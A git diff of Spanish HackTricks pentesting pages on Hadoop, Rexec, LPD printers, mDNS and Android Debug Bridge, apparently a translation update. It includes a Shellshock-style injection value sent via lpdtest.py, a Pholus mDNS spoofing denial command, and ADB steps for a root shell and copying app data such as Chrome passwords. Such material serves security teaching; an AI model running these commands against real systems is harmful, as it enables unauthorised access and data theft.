**Apache Hadoop** es un **marco de trabajo de código abierto** para **almacenamiento y procesamiento distribuido** de **grandes conjuntos de datos** a través de **clústeres de computadoras**. Utiliza **HDFS** para almacenamiento y **MapReduce** para procesamiento.
Desafortunadamente, Hadoop carece de soporte en el marco de Metasploit en el momento de la documentación. Sin embargo, puedes utilizar los siguientes **scripts de Nmap** para enumerar los servicios de Hadoop:
Desafortunadamente, Hadoop carece de soporte en el marco de Metasploit en el momento de la documentación. Sin embargo, puedes usar los siguientes **scripts de Nmap** para enumerar los servicios de Hadoop:
- **`hadoop-jobtracker-info (Puerto 50030)`**
- **`hadoop-tasktracker-info (Puerto 50060)`**
@ -25,5 +26,19 @@ Desafortunadamente, Hadoop carece de soporte en el marco de Metasploit en el mom
- **`hadoop-datanode-info (Puerto 50075)`**
- **`hadoop-secondary-namenode-info (Puerto 50090)`**
Es crucial notar que **Hadoop opera sin autenticación en su configuración predeterminada**. Sin embargo, para una mayor seguridad, hay configuraciones disponibles para integrar Kerberos con HDFS, YARN y servicios de MapReduce.
Es crucial tener en cuenta que **Hadoop opera sin autenticación en su configuración predeterminada**. Sin embargo, para una seguridad mejorada, están disponibles configuraciones para integrar Kerberos con los servicios de HDFS, YARN y MapReduce.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
# 512 - Pentesting Rexec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Es un servicio que **te permite ejecutar un comando dentro de un host** si conoces las **credenciales** válidas (nombre de usuario y contraseña).
Es un servicio que **te permite ejecutar un comando dentro de un host** si conoces **credenciales** válidas (nombre de usuario y contraseña).
**Puerto Predeterminado:** 512
**Puerto por Defecto:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rexec)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Introducción al Protocolo LPD**
En la década de 1980, se desarrolló el **protocolo Line Printer Daemon (LPD)** en Berkeley Unix, que posteriormente se formalizó a través de RFC1179. Este protocolo opera sobre el puerto 515/tcp, permitiendo interacciones a través del comando `lpr`. La esencia de la impresión a través de LPD implica enviar un **archivo de control** (para especificar detalles del trabajo y del usuario) junto con un **archivo de datos** (que contiene la información de impresión). Mientras que el archivo de control permite la selección de **varios formatos de archivo** para el archivo de datos, el manejo de estos archivos está determinado por la implementación específica de LPD. Una implementación ampliamente reconocida para sistemas tipo Unix es **LPRng**. Es importante destacar que el protocolo LPD puede ser explotado para ejecutar trabajos de impresión maliciosos de **PostScript** o **PJL**.
En la década de 1980, se desarrolló el **protocolo Line Printer Daemon (LPD)** en Berkeley Unix, que más tarde se formalizó a través de RFC1179. Este protocolo opera sobre el puerto 515/tcp, permitiendo interacciones a través del comando `lpr`. La esencia de la impresión a través de LPD implica enviar un **archivo de control** (para especificar los detalles del trabajo y el usuario) junto con un **archivo de datos** (que contiene la información de impresión). Mientras que el archivo de control permite la selección de **varios formatos de archivo** para el archivo de datos, el manejo de estos archivos está determinado por la implementación específica de LPD. Una implementación ampliamente reconocida para sistemas similares a Unix es **LPRng**. Notablemente, el protocolo LPD puede ser explotado para ejecutar **PostScript malicioso** o **trabajos de impresión PJL**.
### **Herramientas para Interactuar con Impresoras LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) presenta dos herramientas esenciales, `lpdprint` y `lpdtest`, que ofrecen un método sencillo para interactuar con impresoras compatibles con LPD. Estas herramientas permiten una variedad de acciones, desde imprimir datos hasta manipular archivos en la impresora, como descargar, subir o eliminar:
[**PRET**](https://github.com/RUB-NDS/PRET) introduce dos herramientas esenciales, `lpdprint` y `lpdtest`, que ofrecen un método sencillo para interactuar con impresoras compatibles con LPD. Estas herramientas permiten una variedad de acciones, desde imprimir datos hasta manipular archivos en la impresora, como descargar, subir o eliminar:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
@ -33,8 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Para aquellas personas interesadas en explorar más a fondo el mundo del **hackeo de impresoras**, se puede encontrar un recurso completo aquí: [**Hackeando Impresoras**](http://hacking-printers.net/wiki/index.php/Main_Page).
Para las personas interesadas en explorar más a fondo el ámbito del **printer hacking**, se puede encontrar un recurso completo aquí: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `puerto 515`
* `port 515`
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# 5353/UDP Multicast DNS (mDNS) y DNS-SD
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Información Básica**
**Multicast DNS (mDNS)** permite realizar **operaciones similares a DNS** dentro de redes locales sin necesidad de un servidor DNS tradicional. Opera en el puerto **UDP 5353** y permite a los dispositivos descubrirse mutuamente y sus servicios, comúnmente visto en varios dispositivos IoT. **Descubrimiento de Servicios DNS (DNS-SD)**, a menudo utilizado junto con mDNS, ayuda a identificar los servicios disponibles en la red a través de consultas DNS estándar.
**Multicast DNS (mDNS)** permite **operaciones similares a DNS** dentro de redes locales sin necesidad de un servidor DNS tradicional. Funciona en **el puerto UDP 5353** y permite que los dispositivos se descubran entre sí y sus servicios, comúnmente visto en varios dispositivos IoT. **DNS Service Discovery (DNS-SD)**, a menudo utilizado junto con mDNS, ayuda a identificar los servicios disponibles en la red a través de consultas DNS estándar.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Operación de mDNS**
En entornos sin un servidor DNS estándar, mDNS permite a los dispositivos resolver nombres de dominio que terminan en **.local** al consultar la dirección de multidifusión **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspectos importantes de mDNS incluyen un valor de **Tiempo de Vida (TTL)** que indica la validez del registro y un bit **QU** que distingue entre consultas unicast y multicast. En términos de seguridad, es crucial que las implementaciones de mDNS verifiquen que la dirección de origen del paquete se alinee con la subred local.
En entornos sin un servidor DNS estándar, mDNS permite a los dispositivos resolver nombres de dominio que terminan en **.local** consultando la dirección de multidifusión **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspectos importantes de mDNS incluyen un valor de **Tiempo de Vida (TTL)** que indica la validez del registro y un **bit QU** que distingue entre consultas unicast y multicast. Desde el punto de vista de la seguridad, es crucial que las implementaciones de mDNS verifiquen que la dirección de origen del paquete se alinee con la subred local.
### **Funcionamiento de DNS-SD**
DNS-SD facilita el descubrimiento de servicios de red al consultar registros de puntero (PTR) que mapean tipos de servicio a sus instancias. Los servicios se identifican utilizando un patrón **_\<Servicio>.\_tcp o \_\<Servicio>.\_udp** dentro del dominio **.local**, lo que lleva al descubrimiento de registros **SRV** y **TXT** correspondientes que proporcionan información detallada del servicio.
DNS-SD facilita el descubrimiento de servicios de red consultando registros de puntero (PTR) que mapean tipos de servicio a sus instancias. Los servicios se identifican utilizando un patrón **_\<Service>.\_tcp o \_\<Service>.\_udp** dentro del dominio **.local**, lo que lleva al descubrimiento de los correspondientes **registros SRV** y **TXT** que proporcionan información detallada sobre el servicio.
### **Exploración de la Red**
### **Exploración de Red**
#### **Uso de nmap**
@ -37,31 +38,30 @@ Un comando útil para escanear la red local en busca de servicios mDNS es:
```bash
nmap -Pn -sUC -p5353 [target IP address]
```
Este comando ayuda a identificar los puertos mDNS abiertos y los servicios anunciados a través de ellos.
Este comando ayuda a identificar puertos mDNS abiertos y los servicios anunciados a través de ellos.
#### **Enumeración de Red con Pholus**
Para enviar activamente solicitudes mDNS y capturar tráfico, la herramienta **Pholus** puede ser utilizada de la siguiente manera:
Para enviar activamente solicitudes mDNS y capturar tráfico, se puede utilizar la herramienta **Pholus** de la siguiente manera:
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
```
## Ataques
## Attacks
### **Explotando la Sonda mDNS**
### **Exploiting mDNS Probing**
Un vector de ataque implica enviar respuestas falsificadas a las sondas mDNS, sugiriendo que todos los nombres potenciales ya están en uso, dificultando así que los nuevos dispositivos seleccionen un nombre único. Esto se puede ejecutar utilizando:
Un vector de ataque implica enviar respuestas falsificadas a las sondas mDNS, sugiriendo que todos los nombres potenciales ya están en uso, obstaculizando así que nuevos dispositivos seleccionen un nombre único. Esto se puede ejecutar utilizando:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
```
Esta técnica bloquea efectivamente que nuevos dispositivos registren sus servicios en la red.
**En resumen**, entender el funcionamiento de mDNS y DNS-SD es crucial para la gestión y seguridad de la red. Herramientas como **nmap** y **Pholus** ofrecen información valiosa sobre los servicios de red locales, mientras que la conciencia de las vulnerabilidades potenciales ayuda a protegerse contra ataques.
**En resumen**, entender el funcionamiento de mDNS y DNS-SD es crucial para la gestión y seguridad de la red. Herramientas como **nmap** y **Pholus** ofrecen información valiosa sobre los servicios de la red local, mientras que la conciencia de las vulnerabilidades potenciales ayuda a protegerse contra ataques.
### Spoofing/MitM
### Suplantación de identidad/Ataque de intermediario
El ataque más interesante que puedes realizar sobre este servicio es llevar a cabo un **Ataque de intermediario** en la **comunicación entre el cliente y el servidor real**. Podrías obtener archivos sensibles (intermediar la comunicación con la impresora) o incluso credenciales (autenticación de Windows).\
Para más información, consulta:
El ataque más interesante que puedes realizar sobre este servicio es llevar a cabo un **MitM** en la **comunicación entre el cliente y el servidor real**. Podrías obtener archivos sensibles (MitM la comunicación con la impresora) o incluso credenciales (autenticación de Windows).\
Para más información consulta:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -69,18 +69,19 @@ Para más información, consulta:
## Referencias
* [Hacking práctico de IoT: La guía definitiva para atacar el Internet de las cosas](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# 5555 - Android Debug Bridge
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Desde [la documentación](https://developer.android.com/studio/command-line/adb):
De [la documentación](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) es una herramienta versátil de línea de comandos que te permite comunicarte con un dispositivo. El comando adb facilita una variedad de acciones en el dispositivo, como **instalar y depurar aplicaciones**, y proporciona **acceso a una shell Unix** que puedes utilizar para ejecutar una variedad de comandos en un dispositivo.
**Android Debug Bridge** (adb) es una herramienta de línea de comandos versátil que te permite comunicarte con un dispositivo. El comando adb facilita una variedad de acciones en el dispositivo, como **instalar y depurar aplicaciones**, y proporciona **acceso a un shell de Unix** que puedes usar para ejecutar una variedad de comandos en un dispositivo.
**Puerto predeterminado**: 5555.
**Puerto por defecto**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Conectar
## Connect
Si encuentras el servicio ADB ejecutándose en un puerto de un dispositivo y puedes conectarte a él, **puedes obtener una shell dentro del sistema:**
Si encuentras el servicio ADB ejecutándose en un puerto de un dispositivo y puedes conectarte a él, **puedes obtener un shell dentro del sistema:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
Para más comandos de ADB, consulta la siguiente página:
Para más comandos ADB, consulta la siguiente página:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
@ -48,22 +49,23 @@ chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
Puedes usar este truco para **recuperar información sensible como contraseñas de Chrome**. Para obtener más información al respecto, consulta la información y referencias proporcionadas [**aquí**](https://github.com/carlospolop/hacktricks/issues/274).
Puedes usar este truco para **recuperar información sensible como contraseñas de chrome**. Para más información sobre esto, consulta la información y referencias proporcionadas [**aquí**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan
* `android debug bridge`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,53 +1,23 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
